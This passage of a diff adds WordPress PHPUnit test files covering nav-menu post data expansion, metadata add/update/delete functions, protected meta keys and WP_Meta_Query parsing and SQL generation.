+		$data[1]->value = 'yes';
+		$data[2] = new StdClass;
+		$data[2]->name = 'would[2][do][the][job]';
+		$data[2]->value = 'yes';
+		$_POST['nav-menu-data'] = addslashes( json_encode( $data ) );
+
+		_wp_expand_nav_menu_post_data();
+
+		$expected = array(
+			'nav-menu-data' => $_POST['nav-menu-data'],
+			'would' => array(
+				1 => array(
+					'do' => array(
+						'the' => array(
+							'trick' => 'yes',
+						),
+					),
+				),
+				2 => array(
+					'do' => array(
+						'the' => array(
+							'trick' => 'yes',
+							'job'   => 'yes',
+						),
+					),
+				),
+			),
+		);
+
+		$this->assertEquals( $expected, $_POST );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/meta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/meta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/meta.php	(revision 56912)
@@ -0,0 +1,378 @@
+<?php
+
+/**
+ * @group meta
+ */
+class Tests_Meta extends WP_UnitTestCase {
+	protected $updated_mids = array();
+
+	function setUp() {
+		parent::setUp();
+		$this->author = new WP_User( self::factory()->user->create( array( 'role' => 'author' ) ) );
+		$this->meta_id = add_metadata( 'user', $this->author->ID, 'meta_key', 'meta_value' );
+		$this->delete_meta_id = add_metadata( 'user', $this->author->ID, 'delete_meta_key', 'delete_meta_value' );
+	}
+
+	function _meta_sanitize_cb ( $meta_value, $meta_key, $meta_type ) {
+		return 'sanitized';
+	}
+
+	function test_sanitize_meta() {
+		$meta = sanitize_meta( 'some_meta', 'unsanitized', 'post' );
+		$this->assertEquals( 'unsanitized', $meta );
+
+		register_meta( 'post', 'some_meta', array( $this, '_meta_sanitize_cb' ) );
+		$meta = sanitize_meta( 'some_meta', 'unsanitized', 'post' );
+		$this->assertEquals( 'sanitized', $meta );
+	}
+
+	function test_delete_metadata_by_mid() {
+		// Let's try and delete a non-existing ID, non existing meta
+		$this->assertFalse( delete_metadata_by_mid( 'user', 0 ) );
+		$this->assertFalse( delete_metadata_by_mid( 'non_existing_meta', $this->delete_meta_id ) );
+
+		// Now let's delete the real meta data
+		$this->assertTrue( delete_metadata_by_mid( 'user', $this->delete_meta_id ) );
+
+		// And make sure it's been deleted
+		$this->assertFalse( get_metadata_by_mid( 'user', $this->delete_meta_id ) );
+
+		// Make sure the caches are cleared
+		$this->assertFalse( (bool) get_user_meta( $this->author->ID, 'delete_meta_key' ) );
+	}
+
+	function test_update_metadata_by_mid() {
+		// Setup
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+
+		// Update the meta value
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_new_value' ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( 'meta_new_value', $meta->meta_value );
+
+		// Update the meta value
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_new_value', 'meta_new_key' ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( 'meta_new_key', $meta->meta_key );
+
+		// Update the key and value
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'meta_value', 'meta_key' ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( 'meta_key', $meta->meta_key );
+		$this->assertEquals( 'meta_value', $meta->meta_value );
+
+		// Update the value that has to be serialized
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, array( 'first', 'second' ) ) );
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$this->assertEquals( array( 'first', 'second' ), $meta->meta_value );
+
+		// Let's try some invalid meta data
+		$this->assertFalse( update_metadata_by_mid( 'user', 0, 'meta_value' ) );
+		$this->assertFalse( update_metadata_by_mid( 'user', $this->meta_id, 'meta_value', array('invalid', 'key' ) ) );
+
+		// Let's see if caches get cleared after updates.
+		$meta = get_metadata_by_mid( 'user', $this->meta_id );
+		$first = get_user_meta( $meta->user_id, $meta->meta_key );
+		$this->assertTrue( update_metadata_by_mid( 'user', $this->meta_id, 'other_meta_value' ) );
+		$second = get_user_meta( $meta->user_id, $meta->meta_key );
+		$this->assertFalse( $first === $second );
+	}
+
+	/**
+	 * @ticket 11683
+	 */
+	public function test_update_metadata_hooks_for_multiple_updated_rows() {
+		add_metadata( 'post', 1, 'test_key', 'value_1' );
+		add_metadata( 'post', 1, 'test_key', 'value_2' );
+		add_action( 'update_post_meta', array( $this, 'updated_meta' ) );
+		add_action( 'update_postmeta', array( $this, 'updated_meta' ) );
+		add_action( 'updated_post_meta', array( $this, 'updated_meta' ) );
+		add_action( 'updated_postmeta', array( $this, 'updated_meta' ) );
+
+		update_metadata( 'post', 1, 'test_key', 'value_3' );
+
+		remove_action( 'update_post_meta', array( $this, 'updated_meta' ) );
+		remove_action( 'update_postmeta', array( $this, 'updated_meta' ) );
+		remove_action( 'updated_post_meta', array( $this, 'updated_meta' ) );
+		remove_action( 'updated_postmeta', array( $this, 'updated_meta' ) );
+
+		$found = $this->updated_mids;
+		$this->updated_mids = array();
+
+		foreach ( $found as $action => $mids ) {
+			$this->assertSame( 2, count( $mids ) );
+		}
+	}
+
+	function test_metadata_exists() {
+		$this->assertFalse( metadata_exists( 'user',  $this->author->ID, 'foobarbaz' ) );
+		$this->assertTrue( metadata_exists( 'user',  $this->author->ID, 'meta_key' ) );
+		$this->assertFalse( metadata_exists( 'user',  1234567890, 'foobarbaz' ) );
+		$this->assertFalse( metadata_exists( 'user',  1234567890, 'meta_key' ) );
+	}
+
+	/**
+	 * @ticket 22746
+	 */
+	function test_metadata_exists_with_filter() {
+		// Let's see if it returns the correct value when adding a filter.
+		add_filter( 'get_user_metadata', '__return_zero' );
+		$this->assertFalse( metadata_exists( 'user', $this->author->ID, 'meta_key' ) ); // existing meta key
+		$this->assertFalse( metadata_exists( 'user', 1234567890, 'meta_key' ) );
+		remove_filter( 'get_user_metadata', '__return_zero' );
+	}
+
+	/**
+	 * @ticket 18158
+	 */
+	function test_user_metadata_not_exists() {
+		$u = get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' )
+			)
+		) );
+
+		$this->assertEquals( 1, count( $u ) );
+
+		// User found is not locally defined author (it's the admin)
+		$this->assertNotEquals( $this->author->user_login, $u[0]->user_login );
+
+		// Test EXISTS and NOT EXISTS together, no users should be found
+		$this->assertEquals( 0, count( get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' ),
+				array( 'key' => 'delete_meta_key', 'compare' => 'EXISTS' )
+			)
+		) ) ) );
+
+		$this->assertEquals( 2, count( get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'non_existing_meta', 'compare' => 'NOT EXISTS' )
+			)
+		) ) ) );
+
+		delete_metadata( 'user', $this->author->ID, 'meta_key' );
+
+		$this->assertEquals( 2, count( get_users( array(
+			'meta_query' => array(
+				array( 'key' => 'meta_key', 'compare' => 'NOT EXISTS' )
+			)
+		) ) ) );
+	}
+
+	function test_metadata_slashes() {
+		$key = __FUNCTION__;
+		$value = 'Test\\singleslash';
+		$expected = 'Testsingleslash';
+		$value2 = 'Test\\\\doubleslash';
+		$expected2 = 'Test\\doubleslash';
+		$this->assertFalse( metadata_exists( 'user', $this->author->ID, $key ) );
+		$this->assertFalse( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertInternalType( 'int', add_metadata( 'user', $this->author->ID, $key, $value ) );
+		$this->assertEquals( $expected, get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertInternalType( 'int', update_metadata( 'user', $this->author->ID, $key, $value ) );
+		$this->assertEquals( $expected, get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( update_metadata( 'user', $this->author->ID, $key, 'blah' ) );
+		$this->assertEquals( 'blah', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertFalse( metadata_exists( 'user', $this->author->ID, $key ) );
+
+		// Test overslashing
+		$this->assertInternalType( 'int', add_metadata( 'user', $this->author->ID, $key, $value2 ) );
+		$this->assertEquals( $expected2, get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertTrue( delete_metadata( 'user', $this->author->ID, $key ) );
+		$this->assertSame( '', get_metadata( 'user', $this->author->ID, $key, true ) );
+		$this->assertInternalType( 'int', update_metadata( 'user', $this->author->ID, $key, $value2 ) );
+		$this->assertEquals( $expected2, get_metadata( 'user', $this->author->ID, $key, true ) );
+	}
+
+	/**
+	 * @ticket 16814
+	 */
+	function test_meta_type_cast() {
+		$post_id1 = self::factory()->post->create();
+		add_post_meta( $post_id1, 'num_as_longtext', 123 );
+		add_post_meta( $post_id1, 'num_as_longtext_desc', 10 );
+		$post_id2 = self::factory()->post->create();
+		add_post_meta( $post_id2, 'num_as_longtext', 99 );
+		add_post_meta( $post_id2, 'num_as_longtext_desc', 100 );
+
+		$posts = new WP_Query( array(
+			'fields' => 'ids',
+			'post_type' => 'any',
+			'meta_key' => 'num_as_longtext',
+			'meta_value' => '0',
+			'meta_compare' => '>',
+			'meta_type' => 'UNSIGNED',
+			'orderby' => 'meta_value',
+			'order' => 'ASC'
+		) );
+
+		$this->assertEquals( array( $post_id2, $post_id1 ), $posts->posts );
+		$this->assertEquals( 2, substr_count( $posts->request, 'CAST(' ) );
+
+		// Make sure the newer meta_query syntax behaves in a consistent way
+		$posts = new WP_Query( array(
+			'fields' => 'ids',
+			'post_type' => 'any',
+			'meta_query' => array(
+				array(
+					'key' => 'num_as_longtext',
+					'value' => '0',
+					'compare' => '>',
+					'type' => 'UNSIGNED',
+				),
+			),
+			'orderby' => 'meta_value',
+			'order' => 'ASC'
+		) );
+
+		$this->assertEquals( array( $post_id2, $post_id1 ), $posts->posts );
+		$this->assertEquals( 2, substr_count( $posts->request, 'CAST(' ) );
+
+		// The legacy `meta_key` value should take precedence.
+		$posts = new WP_Query( array(
+			'fields' => 'ids',
+			'post_type' => 'any',
+			'meta_key' => 'num_as_longtext',
+			'meta_compare' => '>',
+			'meta_type' => 'UNSIGNED',
+			'meta_query' => array(
+				array(
+					'key' => 'num_as_longtext_desc',
+					'value' => '0',
+					'compare' => '>',
+					'type' => 'UNSIGNED',
+				),
+			),
+			'orderby' => 'meta_value',
+			'order' => 'ASC'
+		) );
+
+		$this->assertEquals( array( $post_id2, $post_id1 ), $posts->posts );
+		$this->assertEquals( 2, substr_count( $posts->request, 'CAST(' ) );
+	}
+
+	function test_meta_cache_order_asc() {
+		$post_id = self::factory()->post->create();
+		$colors = array( 'red', 'blue', 'yellow', 'green' );
+		foreach ( $colors as $color )
+			add_post_meta( $post_id, 'color', $color );
+
+		foreach ( range( 1, 10 ) as $i ) {
+			$meta = get_post_meta( $post_id, 'color' );
+			$this->assertEquals( $meta, $colors );
+
+			if ( 0 === $i % 2 )
+				wp_cache_delete( $post_id, 'post_meta' );
+		}
+	}
+
+	/**
+	 * @ticket 28315
+	 */
+	function test_non_numeric_object_id() {
+		$this->assertFalse( add_metadata( 'user', array( 1 ), 'meta_key', 'meta_value' ) );
+		$this->assertFalse( update_metadata( 'user', array( 1 ), 'meta_key', 'meta_new_value' ) );
+		$this->assertFalse( delete_metadata( 'user', array( 1 ), 'meta_key' ) );
+		$this->assertFalse( get_metadata( 'user', array( 1 ) ) );
+		$this->assertFalse( metadata_exists( 'user', array( 1 ), 'meta_key' ) );
+	}
+
+	/**
+	 * @ticket 28315
+	 */
+	function test_non_numeric_meta_id() {
+		$this->assertFalse( get_metadata_by_mid( 'user', array( 1 ) ) );
+		$this->assertFalse( update_metadata_by_mid( 'user', array( 1 ), 'meta_new_value' ) );
+		$this->assertFalse( delete_metadata_by_mid( 'user', array( 1 ) ) );
+	}
+
+	/**
+	 * @ticket 37746
+	 */
+	function test_negative_meta_id() {
+		$negative_mid = $this->meta_id * -1;
+
+		$this->assertTrue( $negative_mid < 0 );
+		$this->assertFalse( get_metadata_by_mid( 'user', $negative_mid ) );
+		$this->assertFalse( update_metadata_by_mid( 'user', $negative_mid, 'meta_new_value' ) );
+		$this->assertFalse( delete_metadata_by_mid( 'user', $negative_mid ) );
+	}
+
+	/**
+	 * @ticket 37746
+	 */
+	function test_floating_meta_id() {
+		$floating_mid = $this->meta_id + 0.1337;
+
+		$this->assertTrue( floor( $floating_mid ) !== $floating_mid );
+		$this->assertFalse( get_metadata_by_mid( 'user', $floating_mid ) );
+		$this->assertFalse( update_metadata_by_mid( 'user', $floating_mid, 'meta_new_value' ) );
+		$this->assertFalse( delete_metadata_by_mid( 'user', $floating_mid ) );
+	}
+
+	/**
+	 * @ticket 37746
+	 */
+	function test_string_point_zero_meta_id() {
+		$meta_id = add_metadata( 'user', $this->author->ID, 'meta_key', 'meta_value_2' );
+
+		$string_mid = "{$meta_id}.0";
+
+		$this->assertTrue( floor( $string_mid ) == $string_mid );
+		$this->assertNotEquals( false, get_metadata_by_mid( 'user', $string_mid ) );
+		$this->assertNotEquals( false, update_metadata_by_mid( 'user', $string_mid, 'meta_new_value_2' ) );
+		$this->assertNotEquals( false, delete_metadata_by_mid( 'user', $string_mid ) );
+	}
+
+	/**
+	 * @ticket 15030
+	 */
+	public function test_get_metadata_with_empty_key_array_value() {
+		$data = array( 1, 2 );
+		$value = serialize( $data );
+		add_metadata( 'user', $this->author->ID, 'foo', $data );
+		$found = get_metadata( 'user', $this->author->ID );
+
+		$this->assertSame( array( $value ), $found['foo'] );
+	}
+
+	/**
+	 * @ticket 15030
+	 */
+	public function test_get_metadata_with_empty_key_object_value() {
+		$data = new stdClass;
+		$data->foo = 'bar';
+		$value = serialize( $data );
+		add_metadata( 'user', $this->author->ID, 'foo', $data );
+		$found = get_metadata( 'user', $this->author->ID );
+
+		$this->assertEquals( array( $value ), $found['foo'] );
+	}
+
+	/**
+	 * @ticket 15030
+	 */
+	public function test_get_metadata_with_empty_key_nested_array_value() {
+		$data = array(
+			array( 1, 2 ),
+			array( 3, 4 ),
+		);
+		$value = serialize( $data );
+		add_metadata( 'user', $this->author->ID, 'foo', $data );
+		$found = get_metadata( 'user', $this->author->ID );
+
+		$this->assertSame( array( $value ), $found['foo'] );
+	}
+
+	/** Helpers **********************************************************/
+
+	public function updated_meta( $meta_id ) {
+		$this->updated_mids[ current_action() ][] = $meta_id;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/meta/deleteMetadata.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/meta/deleteMetadata.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/meta/deleteMetadata.php	(revision 56912)
@@ -0,0 +1,145 @@
+<?php
+
+/**
+ * @group meta
+ */
+class Tests_Meta_DeleteMetadata extends WP_UnitTestCase {
+	public function test_all_metas_for_key_should_be_deleted_when_no_meta_value_is_provided() {
+		$vals = array( '0', '1', '2' );
+		foreach ( $vals as $val ) {
+			add_metadata( 'post', 12345, 'foo', $val );
+		}
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( $vals, $m );
+
+		delete_metadata( 'post', 12345, 'foo' );
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( array(), $m );
+	}
+
+	public function test_with_meta_value() {
+		$vals = array( '0', '1', '2' );
+		foreach ( $vals as $val ) {
+			add_metadata( 'post', 12345, 'foo', $val );
+		}
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( $vals, $m );
+
+		delete_metadata( 'post', 12345, 'foo', '1' );
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$expected = array_diff( $vals, array( '1' ) );;
+		$this->assertEqualSets( $expected, $m );
+	}
+
+	/**
+	 * @ticket 32224
+	 */
+	public function test_with_falsey_meta_value_should_not_delete_all_meta() {
+		$vals = array( '0', '1', '2' );
+		foreach ( $vals as $val ) {
+			add_metadata( 'post', 12345, 'foo', $val );
+		}
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( $vals, $m );
+
+		delete_metadata( 'post', 12345, 'foo', '0' );
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$expected = array_diff( $vals, array( '0' ) );;
+		$this->assertEqualSets( $expected, $m );
+	}
+
+	/**
+	 * @ticket 32224
+	 *
+	 * This is a backwards compatiblity quirk.
+	 */
+	public function test_meta_value_should_be_ignored_when_empty_string() {
+		$vals = array( '0', '1', '2', '' );
+		foreach ( $vals as $val ) {
+			add_metadata( 'post', 12345, 'foo', $val );
+		}
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( $vals, $m );
+
+		delete_metadata( 'post', 12345, 'foo', '' );
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( array(), $m );
+	}
+
+	/**
+	 * @ticket 32224
+	 */
+	public function test_meta_value_should_be_ignored_when_null() {
+		$vals = array( '0', '1', '2', '' );
+		foreach ( $vals as $val ) {
+			add_metadata( 'post', 12345, 'foo', $val );
+		}
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( $vals, $m );
+
+		delete_metadata( 'post', 12345, 'foo', null );
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( array(), $m );
+	}
+
+	/**
+	 * @ticket 32224
+	 */
+	public function test_meta_value_should_be_ignored_when_false() {
+		$vals = array( '0', '1', '2', '' );
+		foreach ( $vals as $val ) {
+			add_metadata( 'post', 12345, 'foo', $val );
+		}
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( $vals, $m );
+
+		delete_metadata( 'post', 12345, 'foo', false );
+		$m = get_metadata( 'post', 12345, 'foo', false );
+		$this->assertEqualSets( array(), $m );
+	}
+
+	/**
+	 * @ticket 35797
+	 */
+	public function test_delete_all_should_only_invalidate_cache_for_objects_matching_meta_value() {
+		$p1 = 1234;
+		$p2 = 5678;
+
+		add_metadata( 'post', $p1, 'foo', 'value1' );
+		add_metadata( 'post', $p2, 'foo', 'value2' );
+
+		// Prime caches.
+		update_meta_cache( 'post', array( $p1, $p2 ) );
+
+		$deleted = delete_metadata( 'post', 5, 'foo', 'value1', true );
+
+		$p1_cache = wp_cache_get( $p1, 'post_meta' );
+		$this->assertFalse( $p1_cache );
+
+		// Should not have been touched.
+		$p2_cache = wp_cache_get( $p2, 'post_meta' );
+		$this->assertNotEmpty( $p2_cache );
+	}
+
+	/**
+	 * @ticket 35797
+	 */
+	public function test_delete_all_should_invalidate_cache_for_all_objects_with_meta_key_when_meta_value_is_not_provided() {
+		$p1 = 1234;
+		$p2 = 5678;
+
+		add_metadata( 'post', $p1, 'foo', 'value1' );
+		add_metadata( 'post', $p2, 'foo', 'value2' );
+
+		// Prime caches.
+		update_meta_cache( 'post', array( $p1, $p2 ) );
+
+		$deleted = delete_metadata( 'post', 5, 'foo', false, true );
+
+		$p1_cache = wp_cache_get( $p1, 'post_meta' );
+		$this->assertFalse( $p1_cache );
+
+		$p2_cache = wp_cache_get( $p2, 'post_meta' );
+		$this->assertFalse( $p2_cache );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/meta/isProtectedMeta.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/meta/isProtectedMeta.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/meta/isProtectedMeta.php	(revision 56912)
@@ -0,0 +1,55 @@
+<?php
+
+/**
+ * @group meta
+ * @covers ::is_protected_meta
+ */
+class Tests_Meta_isProtectedMeta extends WP_UnitTestCase {
+
+	/**
+	 * @dataProvider protected_data
+	 */
+	public function test_protected( $key ) {
+		$this->assertTrue( is_protected_meta( $key ) );
+	}
+
+	public function protected_data() {
+		$protected_keys = array(
+			array( '_wp_attachment' ),
+		);
+		for ( $i = 0, $max = 31; $i < $max; $i ++ ) {
+			$protected_keys[] = array( chr( $i ) . '_wp_attachment' );
+		}
+		for ( $i = 127, $max = 159; $i <= $max; $i ++ ) {
+			$protected_keys[] = array( chr( $i ) . '_wp_attachment' );
+		}
+		$protected_keys[] = array( chr( 95 ) . '_wp_attachment' );
+
+		return $protected_keys;
+	}
+
+	/**
+	 * @dataProvider unprotected_data
+	 */
+	public function test_unprotected( $key ) {
+		$this->assertFalse( is_protected_meta( $key ) );
+	}
+
+	public function unprotected_data() {
+		$unprotected_keys = array(
+			array( 'singleword' ),
+			array( 'two_words' ),
+			array( 'ąŌ_not_so_protected_meta' ),
+		);
+
+		for ( $i = 32, $max = 94; $i <= $max; $i ++ ) {
+			$unprotected_keys[] = array( chr( $i ) . '_wp_attachment' );
+		}
+		for ( $i = 96, $max = 126; $i <= $max; $i ++ ) {
+			$unprotected_keys[] = array( chr( $i ) . '_wp_attachment' );
+		}
+
+		return $unprotected_keys;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/meta/query.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/meta/query.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/meta/query.php	(revision 56912)
@@ -0,0 +1,887 @@
+<?php
+/**
+ * Test WP_Meta_Query, in wp-includes/meta.php
+ *
+ * See tests/post/query.php for tests that involve post queries.
+ *
+ * @group meta
+ */
+class Tests_Meta_Query extends WP_UnitTestCase {
+
+	public function test_empty_meta_query_param() {
+		$query = new WP_Meta_Query();
+		$this->assertSame( null, $query->relation );
+	}
+
+	public function test_default_relation() {
+		$query = new WP_Meta_Query( array( array( 'key' => 'abc' ) ) );
+		$this->assertEquals( 'AND', $query->relation );
+	}
+
+	public function test_set_relation() {
+
+		$query = new WP_Meta_Query( array( array( 'key' => 'abc' ), 'relation' => 'AND' ) );
+
+		$this->assertEquals( 'AND', $query->relation );
+
+		$query = new WP_Meta_Query( array( array( 'key' => 'abc' ), 'relation' => 'OR' ) );
+
+		$this->assertEquals( 'OR', $query->relation );
+	}
+
+	/**
+	 * Non-arrays should not be added to the queries array.
+	 */
+	public function test_invalid_query_clauses() {
+		$query = new WP_Meta_Query( array(
+			'foo', // empty string
+			5, // int
+			false, // bool
+			array(),
+		) );
+
+		$this->assertSame( array(), $query->queries );
+	}
+
+	/**
+	 * Test all key only meta queries use the same INNER JOIN when using relation=OR
+	 *
+	 * @ticket 19729
+	 */
+	public function test_single_inner_join_for_keys_only() {
+
+		global $wpdb;
+
+		$query = new WP_Meta_Query( array(
+			array( 'key' => 'abc' ),
+			array( 'key' => 'def' ),
+			'relation' => 'OR'
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID' );
+
+		$this->assertEquals( 1, substr_count( $sql['join'], 'INNER JOIN' ) );
+
+		// also check mixing key and key => value
+
+		$query = new WP_Meta_Query( array(
+			array( 'key' => 'abc' ),
+			array( 'key' => 'def' ),
+			array( 'key' => 'ghi', 'value' => 'abc' ),
+			'relation' => 'OR'
+		) );
+
+		$sql = $query->get_sql( 'post', $wpdb->posts, 'ID' );
+
+		$this->assertEquals( 1, substr_count( $sql['join'], 'INNER JOIN' ) );
+	}
+
+	/**
+	 * WP_Query-style query must be at index 0 for order_by=meta_value to work.
+	 */
+	public function test_parse_query_vars_simple_query_index_0() {
+		$qv = array(
+			'meta_query' => array(
+				array(
+					'key' => 'foo1',
+					'compare' => 'baz1',
+					'value' => 'bar1',
+				),
+			),
+			'meta_key' => 'foo',
+			'meta_compare' => 'bar',
+			'meta_value' => 'baz',
+		);
+
+		$query = new WP_Meta_Query();
+		$query->parse_query_vars( $qv );
+
+		$expected0 = array(
+			'key' => 'foo',
+			'compare' => 'bar',
+			'value' => 'baz',
+		);
+		$this->assertEquals( $expected0, $query->queries[0] );
+
+		$expected1 = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo1',
+				'compare' => 'baz1',
+				'value' => 'bar1',
+			),
+		);
+		$this->assertEquals( $expected1, $query->queries[1] );
+	}
+
+	/**
+	 * When no meta_value is provided, no 'value' should be set in the parsed queries.
+	 */
+	public function test_parse_query_vars_with_no_meta_value() {
+		$qv = array(
+			'meta_key' => 'foo',
+			'meta_type' => 'bar',
+			'meta_compare' => '=',
+		);
+
+		$query = new WP_Meta_Query();
+		$query->parse_query_vars( $qv );
+
+		$this->assertTrue( ! isset( $query->queries[0]['value'] ) );
+	}
+
+	/**
+	 * WP_Query sets meta_value to '' by default. It should be removed by parse_query_vars().
+	 */
+	public function test_parse_query_vars_with_default_meta_compare() {
+		$qv = array(
+			'meta_key' => 'foo',
+			'meta_type' => 'bar',
+			'meta_compare' => '=',
+			'meta_value' => '',
+		);
+
+		$query = new WP_Meta_Query();
+		$query->parse_query_vars( $qv );
+
+		$this->assertTrue( ! isset( $query->queries[0]['value'] ) );
+	}
+
+	/**
+	 * Test the conversion between "WP_Query" style meta args (meta_value=x&meta_key=y)
+	 * to a meta query array.
+	 */
+	public function test_parse_query_vars() {
+
+		$query = new WP_Meta_Query();
+
+		// just meta_value
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'abc',
+			),
+		);
+		$query->parse_query_vars( array(
+			'meta_key' => 'abc',
+		) );
+		$this->assertEquals( $expected, $query->queries );
+
+		// meta_key & meta_value
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'abc',
+				'value' => 'def',
+			),
+		);
+		$query->parse_query_vars( array(
+			'meta_key' => 'abc',
+			'meta_value' => 'def',
+		) );
+		$this->assertEquals( $expected, $query->queries );
+
+		// meta_compare
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'abc',
+				'compare' => '=>',
+			),
+		);
+		$query->parse_query_vars( array(
+			'meta_key' => 'abc',
+			'meta_compare' => '=>',
+		) );
+		$this->assertEquals( $expected, $query->queries );
+	}
+
+	/**
+	 * @ticket 23033
+	 */
+	public function test_get_cast_for_type() {
+		$query = new WP_Meta_Query();
+		$this->assertEquals( 'BINARY', $query->get_cast_for_type( 'BINARY' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'CHAR' ) );
+		$this->assertEquals( 'DATE', $query->get_cast_for_type( 'DATE' ) );
+		$this->assertEquals( 'DATETIME', $query->get_cast_for_type( 'DATETIME' ) );
+		$this->assertEquals( 'SIGNED', $query->get_cast_for_type( 'SIGNED' ) );
+		$this->assertEquals( 'UNSIGNED', $query->get_cast_for_type( 'UNSIGNED' ) );
+		$this->assertEquals( 'TIME', $query->get_cast_for_type( 'TIME' ) );
+		$this->assertEquals( 'SIGNED', $query->get_cast_for_type( 'NUMERIC' ) );
+		$this->assertEquals( 'NUMERIC(10)', $query->get_cast_for_type( 'NUMERIC(10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC( 10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC( 10 )' ) );
+		$this->assertEquals( 'NUMERIC(10, 5)', $query->get_cast_for_type( 'NUMERIC(10, 5)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC(10,  5)' ) );
+		$this->assertEquals( 'NUMERIC(10,5)', $query->get_cast_for_type( 'NUMERIC(10,5)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC( 10, 5 )' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'NUMERIC(10, 5 )' ) );
+		$this->assertEquals( 'DECIMAL', $query->get_cast_for_type( 'DECIMAL' ) );
+		$this->assertEquals( 'DECIMAL(10)', $query->get_cast_for_type( 'DECIMAL(10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL( 10 )' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL( 10)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL(10 )' ) );
+		$this->assertEquals( 'DECIMAL(10, 5)', $query->get_cast_for_type( 'DECIMAL(10, 5)' ) );
+		$this->assertEquals( 'DECIMAL(10,5)', $query->get_cast_for_type( 'DECIMAL(10,5)' ) );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'DECIMAL(10,  5)' ) );
+
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type() );
+		$this->assertEquals( 'CHAR', $query->get_cast_for_type( 'ANYTHING ELSE' ) );
+	}
+
+	public function test_sanitize_query_single_query() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_relation_default() {
+		$expected = array(
+			'relation' => 'AND',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		) );
+
+		$this->assertEquals( $expected, $found );
+	}
+
+	public function test_sanitize_query_multiple_first_order_queries_relation_or() {
+		$expected = array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+			array(
+				'key' => 'foo2',
+				'value' => 'bar2',
+			),
+		);
+
+		$q = new WP_Meta_Query();
+		$found = $q->sanitize_query( array(
+			'relation' => 'OR',
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
